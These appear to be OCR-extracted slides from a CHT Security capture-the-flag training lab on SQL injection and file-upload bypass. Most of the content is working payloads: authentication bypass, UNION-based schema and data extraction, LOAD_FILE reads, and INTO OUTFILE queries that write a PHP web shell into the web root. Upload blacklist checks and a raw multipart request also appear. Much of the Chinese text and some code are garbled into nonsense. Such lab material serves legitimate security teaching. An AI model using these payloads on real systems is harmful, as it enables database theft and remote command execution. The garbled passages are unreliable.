¥ & Z B R
Ny

CHT Security

LabiT 48
SEENEEF(E




labRYERZ

https//ﬂuorite chtsecurity.tw/
aa R E B R EVE AR 5% 2 A ~
. rj'lﬁﬁ%%ﬂu@ﬁ
« ZRFAHCTF (Capture the Flag) - 8—FAEB—{Eflag - E5ESflag
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SQL injection




Level O:

- RIBEFIFED
« SELECT * FROM users WHERE name = '{$_POST['username']}' AND
password = '{$_POST['password']}’
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Level 1:

« [ RIREEFET
« SELECT * FROM users_no_admin WHERE name = '{$ POST['username']}’
AND password = '{$_POST['password']}
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Level 2:

s RIGEFED

« SELECT * FROM product WHERE id = {$id};
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« 10 or1=1 orderby 5
« 10 orderby 1
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Level 3:

 RIDEEE T
» SELECT * FROM product WHERE id = {$id};

. R
« 1 order by 5-- -
« 0 UNION select 1,database(),2,3,5-- -

« O UNION select 1, TABLE_ NAME, TABLE SCHEMA, 3,5 from
INFORMATION _SCHEMA.TABLES where table_schema="test db'-- -

« 0 UNION select 1,COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA,5 from

INFORMATION_SCHEMA.COLUMNS where
table_name="level3_flag_is_here'-- -

« 1 UNION select 1, flag, description, 4,5 from test_db.level3_flag_is_here-- -



SQL injection-unioniE A

payload HIEk

cn ' order by ?-- -

cn' UNION select 1,2,3,4-- -

cn' UNION select 1,database(),2,3-- -

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

cn' UNION select 1,TABLE_ NAME, TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES
where table_schema='A'-- -

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from
INFORMATION_SCHEMA.COLUMNS where table_name="'B'-- -

cn' UNION select 1, col_namel, col_name2, 4 from A.B-- -
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Level 4:

» RINERAE T
» SELECT * FROM product WHERE id = {$id};
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« 1 UNION select 1,LOAD_FILE('/opt/lampp/htdocs/hint.txt"),3,4,5-- -

« 1 union select 1,'<?php system($_REQUEST[0]); ?>", 3,4,5 into outfile
'Jopt/lampp/htdocs/writehere/shelll.php'-- -

« 1 union select 1,'<?php system($_REQUEST["cmd"]); ?>", 3,4,5 into outfile
'/opt/lampp/htdocs/writehere/shell.php'-- -
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Level O:

o 28R IR (preg match('/\. (jpgljpeglpng|gif) /1’

« AT IV 1B X2, pg.php




Level 1:

o 28R 514 (preg match('/\. (Jpgljpeglpng|gif) /1"
Sblacklist = array('php', 'php7', 'phps'):;
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POST /upload.php HTTP/1.1
Host: 127.0.0.1

Content-Length: 192
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb4Se1l1lL01BfBPB4U

—————— WebKitFormBoundaryb4Se11Le1BfBPB4U

Content-Disposition: form-data; name="filename";|filename="test.txt"
Content-Type: text/plalnl Fo ZZ HE AU j& 22 < F
hello | ERS 2YHE

—————— WebKitFormBoundaryb4S011L01BfBPB4U- -
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Level 2:

o 28R IR (preg match('/\. (jpgljpeglpng|gif) /1’
$blackllst = array( php', 'php7', 'phps');

sallowed types = array( 1mage/jpg , 'image/jpeq', 'image/png', 'image/qgif');
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Level 3:

o 28R IR (preg match('/\. (jpgljpeglpng|gif) /1’
$blackllst = array( php', 'php7', 'phps'):;

sallowed types = array( 1maqe/jpg , 'image/jpeq', 'image/png', 'image/qgif');
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